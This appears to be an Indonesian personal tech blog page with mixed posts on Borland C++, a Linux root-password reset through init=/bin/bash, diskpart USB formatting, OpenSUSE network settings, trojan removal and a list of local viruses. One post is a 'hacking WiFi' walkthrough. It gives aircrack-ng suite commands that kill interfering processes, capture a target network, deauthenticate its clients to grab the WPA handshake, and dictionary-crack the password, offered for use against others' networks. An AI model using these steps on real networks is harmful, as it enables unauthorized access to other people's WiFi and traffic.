Luffy - One Piece

Jumat, 07 November 2014

hay kawan lama ni tidak posting tentang dasar-dasar komputer.. langsung aja gin ya hari ini saya akan menjelaaskan tentang cara menggunakan Borland C++. mungkin beberapa orang bingung apa itu borland C++. borland C++ itu adalah software pemrograman yg paling dasar.. itu sih kata guru saya, dan saya pun akan mengajarkan apa yag saya pelajari saat belajar borland C++ saat saya pertama belajar seperti ini. chek it out

1. buka borland C++ dan buka lembar baru
2. masukkan script seperti gambar dibawah ini




















3. saat selesai jangan lupa yang saya lingkari harus tetap berada di situ, anda pasti tau apa itu kan
4. klik tanda petir yang berada di atasnya
5. saat anada klik ternyata yang timbul adalah tulisan failed dan tanda seru berarti script anda salah
6. coba cek kembali de gambar ini dan klik apa yang saya lingkari



7. jjika berhasil maka akan timbul CMD (command prompt) seperti di bawah ini

8. dan borland C++ anda pun berhasil..
jika anda ingin mengganti kata pada CMD ganti pada cout, contohnya: cout  <<  "apapun yang akan anda tulis.\n";

Selasa, 20 Mei 2014

Cara reset password root pada linux (debian/ubuntu/centos/dll) tanpa menggunakan tools
ikuti langkah-langkah berikut:
1. Restart kompi loh
2. Pada recovery mode tekan “e”
3. cari yang ada
root=UUID xxxxx
4. tekan enter pada baris terakhir tambah “quit” (tanpa titik dua)
5. kemudian tambahkan
init=/bin/bash
tekan enter
6. tekan
 "b" (boot)
7. setelah proses selesai tambahkan perintah
 root@teddy# mount -n -o remount, rw /
tekan enter
8. pada root@teddy# ketikkan
 passwd
9. kemudian masukkan password rootnya
10. restart kompi kemudian login sebagai root


jreng jreng password root sudah berhasil direset

sumber: http://netsys.web.id/2013/07/cara-reset-password-root-pada-linux-debianubuntucentosdll/

Minggu, 04 Mei 2014

cara hacking WiFi

Tutorial Hacking Wifi dengan Kali linux  menjelaskan bagaimana cara mendapatkan password WiFi.dengan hack atau crack password wifi menggunakan BACKTRACK / KALI LINUX
Note:
Tutorial ini dibuat di OS Back|Track 5 32 GNOME, dan juga bisa berjalan pada OS berbasis UNIX lainnya.
Preparation:
1. Aircrack, bisa di dapatkan di sini
2. Dictionary attack
Briefing
1. Hentikan semua proses yang menghambat jalannya aireplay
2. Simpan hasil monitoring
3. Lakukan aireplay untuk mendapatkan WPA Handshake
4. Crack hasil rekaman dengan dictionary attack
5. Gameover

Walkthrough


1. Hentikan semua proses yang menghambat jalannya aireplay

code:
root@kali:/# airmon-ng check kill

2. Buat interface baru dengan mode monitor menggunakan airmon-ng

code:
root@kali:/# airmon-ng start wlan0

3. Monitoring setiap akses poin yang ada di sekitar attacker

code:
root@kali:/# airodump-ng mon0
 
4. Pilih target, kemudian Monitoring dan simpan hasil monitoring airodump.
code:
root@kali:/# airodump-ng --write output --channel 6 --bssid 58:6D:8F:3D:55:E8 mon0


Keterangan:
1. --write : berfungsi untuk menyimpan hasil monitoring
2. output : nama hasil monitoring yang di simpan [bisa diisi bebas]
3. --chanel : channel akses poin target
4. --bssid : mac address akses poin


5. Jalankan aireplay-ng untuk mendapatkan WPA Handshake


code:
root@kali:/# aireplay-ng --deauth 1 -a 58:6D:8F:3D:55:E8 -c E0:B9:A5:9D:18:94 mon0


Keterangan:
1. --deauth : berfungsi untuk deautentikasi setiap stasiun pada akses sebuah jaringan
2. -a : mac address akses poin
3. -c : mac address klien


Note:
Jika belum muncul WPA handshake, ganti mac address klien dengan yang lain.
code:
root@kali:/# aireplay-ng --deauth 1 -a 58:6D:8F:3D:55:E8 -c 58:6D:8F:3D:55:E8 mon0

6. Jika sudah mendapatkan WPA handshake dari klien, langkah selanjutnya adalah menghentikan proses airodump-ng dengan menekan tombol ctrl + c, dan cracking password dengan aircrack-ng.
code:
root@kali:/# aircrack-ng output-01.cap -w /root/crack wpa.txt

Keterangan
1. output-01.cap harus disesuaikan dengan nama hasil monitoring yang anda kehendaki pada tahap 4
2. -w adalah metode dictionary, diikuti dengan direktori dictionary milik anda.
 
7. Langkah selanjutnya adalah mengetes kebenaran dari metode ini dengan cara mengkonekan dengan wifi kita =D
sumber ; http://jalan-hijauku.blogspot.com/2014/01/tutorial-hacking-wifi-dengan-kali-linux.html

Kamis, 03 April 2014

cara memformat flashdisk dan membuat boottable dengan CMD

1.      Siapkan flashdisk yang ukurannya muat dimasukkin windows 7. Karena besar total windows 7 2,4Gb maka minimal kita harus memakai flashdisk 4Gb.
2.     Format flashdisk. Backup data yang ada di flashdisk dulu jika ada data yang penting.
3.     Buka CMD dengan cara lakukan search “cmd” pada  star menu, lalu buka.
4.     Setelah CMD terbuka, lalu ketik DISKPART dan  tekan enter. Nanti akan muncul User Account Control, klik saja tombol Yes dan akan terbuka CMD baru
5.     Kemudian ketik lagi LIST DISK enter, LIST DISK bertujuan untuk menampilkan flashdisk.
6.     Pilih salah satu saja (sesuai flashdisk yang dicolok tadi, ingat berapa tadi volume FD anda). Jangan salah pilih ya, bisa jadi yang dipilih itu hardisk internal leptop Anda.
7.     Jika sudah ketik lagi SELECT DISK 1 enter, (karena flashdisk saya berada di Disk 1).
8.     Kemudian ketik lagi CLEAN, lalu enter.
9.     Kemudian ketik CREATE PARTITION PRIMARY,enter
10.   Lalu ketik FORMAT RECOMMENDED enter, nah. Di langkah ini ni prosesnya lama banget, sesuai ukuran FD. Jika semakin besar ukuran FD makin lama pula proses formatnya.
11.   Jika proses sudah selesai langkah selanjutnya adalah mengetik lagi ACTIVE
12.   Terus langkah selanjutnya ketik EXIT untuk mengakhiri proses pembuatan boot FD ini.
13.   Langkah terakhir yaitu file windowsnya. Copy-pastekan file windows(master windowsnya ke FD) 

Nih tampilan screenshot-nya:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigXoplkGRWqWA-N2I6vI5JK3jQIPh6o3ddWuQEAhx8pHYmj0gGpz33xYZoW8ZQZ7TY-PvS_P33L8hbqW5-cYMghMUAj0f-O-90mnKJFYRsUIYp0RhvoHNEkFpav30u2Xn3UjqAQC4j_ho/s400/cmd.png


Selasa, 25 Maret 2014

Cara setting ip addres pada open suse

Cara Setting IP Address pada OpenSuse Cukup mudah,, Caranya sebagai Berikut :


Setting Ip Address di openSUSE 11.1
YaST-Network Device-Network Setting ( Double Klik Network Setting nya ) lalu klik Add
Isikan
IP Address : 192.168.1.X
Netmask  255.255.255.0
Setelah di isikan klik OK dulu lalu isikan HOSTNAME/ DNS  nya
202.158.3.7
202.158.3.6
lalu klik ROUTING isikan Gateway 192.168.1.XXX
lalu klik OK


Kamis, 20 Maret 2014

Cara ampuh membasmi virus trojan

Cara Membasmi Virus Trojan - Trojan, seperti namanya, berwujud seperti program-program yang menarik dan dibutuhkan, seperti archiver, image-viewer, ato game-game kecil, namun ketika program tersebut dijalankan maka akan menjalankan sub-program yang ada didalamnya, bayangkan kalo sub-programnya bisa mencuri data penting perusahaan, bahaya kan? makanya jangan sekali-sekali maen game atau men-download dan menjalankan program yang aneh-aneh di internet, apalagi dari situs pembajak, Trojan? Trojan adalah salah satu jenis virus yang mencuri informasi berharga dari komputer yang terinfeksi karena ulah virus tersebut seperti password, nomor kartu kredit, serta informasi penting lain sesuai keinginan si pembuat virus tersebut. Virus trojan sangat ganas dan ini lebih berbahaya dari virus biasa lainnya, Sialnya virus ini sangat sulit dibasmi meskipun menggunakan antivirus terkenal. Norton Antivirus yang sudah diupdate virus signaturenya memang berhasil mengenali virus ini, namun gagal menghapusnya. Symantec Trojan.Vundo Removal Tool, AVG dan AVG Antispyware juga mengalami nasib yang sama.


Membasmi virus ini sangat mudahdan memang tidak sulit. Langsung saja Ikuti langkah - langkah Cara Membasmi Virus Trojan berikut :
  1. Booting PC dengan menggunakan CD instalasi Windows XP
  2. Setelah menu muncul, tekan R ( Recovery Console ).
  3. Lalu sobat Tekan angka yang sesuai nomor partisi Windows, biasanya 1 ( di C:\Windows ).
  4. Berturut-turut ketikkan perintah berikut pada layar command : 
    chdir system32 dir nafmhhti.dll ( Windows akan menampilkan file tersebut yaitu file virus yang masih bercokol di sistem ) del nafmhhti.dll ( menghapus file tersebut, hal ini tidak bisa dilakukan jika Windows di boot dalam keadaan normal maupun safe mode ) attrib -s -h nafmhhti.dllbox (merubah attribut file nafmhhti.dllbox supaya dapat dihapus) del nafmhhti.dllbox (menghapus file nafmhhti.dllbox) exit (merestart windows, keluarkan CD instalasi Windows XP).
  5. Setelah windows restart, masuklah ke command prompt untuk memastikan bahwa file nafmhhti.dll telah benar-benar terhapus, caranya :
    1. Klik Start > Run
    2. Ketik cmd, tekan Enter, lalu pada layar command prompt ketik command berikut
        cd c:\windows\system32
        dir nafmhhti.dl
        dir nafmhhti.dllbox
  6. Pastikan bahwa kedua file tersebut tidak ditemukan Windows, artinya proses penghapusan telah berhasil.
  7. Selanjutnya membersihkan registry Windows. Langkahnya :
    1. Klik Start > Run
    2. Ketik regedit, tekan Enter
    3. Klik My Computer, tekan F3
  8. Lalu ketiklah nafmhhti.dll pada box Search.
  9. Hapuslah entri-entri registri yang dtemukan untuk file tersebut. Entri bercokol di ( Default ) dengan Value c:\windows\system32\nafmhhti.dll.
  10. Anda tidak perlu menghapus folder induk entri tersebut, cukup hapus saja entri (Default) tadi.
  11. Restart komputer.
  12. Insya Allah virus telah musnah.


Sumber : http://kolombloggratis.blogspot.com/2011/03/cara-membasmi-virus-trojan.html#ixzz2wY4dWiaM

10 Jenis Virus Komputer Yang Paling Berbahaya

Serangan virus merupakan salah satu hal yang sangat tidak diinginkan dalam komputer, selain dapat menghilangkan file mahupun aplikasi pada komputer, virus juga dapat membuat komputer tidak boleh bertahan lama (rosak). Berikut ini adalah daftar sepuluh jenis virus komputer yang paling berbahaya.
1. Discusx.vbs
Virus VBScript yang satu ini, memiliki ukuran sekitar 4.800 bytes. Dia akan mencuba menginfeksi di beberapa drive di komputer Anda, termasuk drive flash disk, yang jika terinfeksi akan membuat file autorun.inf dan System32.sys.vbs pada root drive tersebut. Selain itu, ia pun akan mengubah caption dari Internet Explorer menjadi “.::Discus-X SAY MET LEBARAN! [HAPPY LEBARAN ?!]::.”.

2. Reva.vbs
Lagi, virus jenis VBScript yang lumayan banyak dikeluhkan oleh beberapa pembaca. Ia akan mencuba menyebarkan dirinya ke setiap drive di komputer Anda termasuk drive flash disk. Pada drive terinfeksi akan terdapat file reva.vbs, autorun.inf, dan shaheedan.jpg. Selain itu, ia pun akan mengubah halaman default dari Internet Explorer agar mengarah ke situ http://www.arrahmah.com.
3. XFly
PC Media Antivirus mengenali dua varian dari virus ini, yakni XFly.A dan XFly.B. Sama seperti kebanyakan virus lokal lainnya, ia dibuat menggunakan Visual Basic. Memiliki ukuran tubuh sebesar 143.360 bytes tanpa di-compress. Dan ia dapat menyamar sebagai folder, file MP3 WinAmp atau yang lainnya dengan cara mengubah secara langsung resource icon yang ada pada tubuhnya. Ini akan lebih memyukarkan user awam dalam mengenalinya. Pada komputer terinfeksi, saat menjalankan Internet Explorer, caption-nya akan berubah menjadi “..:: x-fly ::..”, dan saat memulai Windows pun akan muncul pesan dari si pembuat virus pada default browser. Atau setiap waktu menunjukan pukul 12:30, 16:00, atau 20:00, virus ini pun akan menampilkan layar hitam yang juga berisi pesan dari si pembuat virus.
4. Explorea
Virus yang di-compile menggunakan Visual Basic ini hadir dengan ukuran sekitar 167.936 bytes, tanpa di-compress. Menggunakan icon mirip folder standard Windows untuk mengelabui korbannya. Virus ini akan menyerang Registry Windows Anda dengan mengubah default open dari beberapa extension seperti .LNK, .PIF, .BAT, dan .COM. Pada komputer terinfeksi, disaat-saat tertentu terkadang muncul pesan error, contohnya pada saat membuka System Properties.
5. Gen.FFE
Gen.FFE atau pembuatnya menamakan Fast Firus Engine merupakan salah satu program Virus Generator buatan lokal. Dengan hanya menggunakan program ini, tidak dibutuhkan waktu lama untuk dapat menciptakan virus/varian baru. Virus hasil keluaran program ini menggunakan icon mirip gambar folder standard bawaan Windows. Ia pun akan memblok akses ke Task Manager, Command Prompt, serta menghilangkan beberapa menu di Start Menu. Ia juga akan membaca caption dari program yang aktif, apabila terdapat string yang berhubungan dengan antivirus maka program tersebut akan segera ditutup olehnya.
6. Hampa
Virus yang juga dibuat menggunakan Visual Basic dan ber-icon-kan folder ini memiliki ukuran tubuh sekitar 110.592 bytes, tanpa di-compress. Banyak sekali perubahan yang ia buat pada Windows, seperti Registry, File System, dan lain sebagainya, yang bahkan dapat menyebabkan Windows tidak dapat digunakan sebagaimana mestinya. Pada komputer yang terinfeksi oleh virus ini, saat memulai Windows akan muncul pesan dari si pembuat virus.

7. Raider.vbs
Virus jenis VBScript ini berukuran sekitar 10.000 bytes, jika file virus dibuka dengan Notepad misalnya, maka tidak banyak string yang boleh dibaca karena dalam keadaan ter-enkripsi. Pada Registry, ia pun memberikan pengenal dengan membuat key baru di HKLM\Software dengan nama sama seperti nama pada computer name, dengan isinya berupa string value seperti nama virus tersebut, Raider, serta tanggal komputer tersebut kali pertama terinfeksi.

8. ForrisWaitme
Virus yang dibuat dengan Visual Basic ini menggunakan icon mirip folder standard Windows untuk melakukan penyamarannya. Beberapa ulahnya adalah menukar fungsi tombol mouse kiri dengan kanan, menghilangkan menu Folder Options, membuat file pesan “baca saya.txt” pada drive terinfeksi, dan masih ada yang lainnya.

9. Pray
Virus lokal ini dibuat menggunakan Visual Basic. Kami mendapati 2 varian dari virus ini, untuk varian Pray.A tidak memiliki icon, sementara untuk varian Pray.B menggunakan icon mirip Windows Explorer. Jika komputer terinfeksi oleh virus ini, saat penunjuk waktu di komputer tersebut menunjukkan pukul 05:15, 13:00, 16:00, 18:30, dan atau 19:45, virus ini akan menampilkan pesan yang mengingatkan user untuk melakukan shalat.

10. Rian.vbs
Virus VBScript ini memiliki ukuran 3788 bytes. Saat menginfeksi, ia akan menciptakan file baru autorun.inf dan RiaN.dll.vbs pada setiap root drive yang terpasang di komputer korban, termasuk Flash Disk.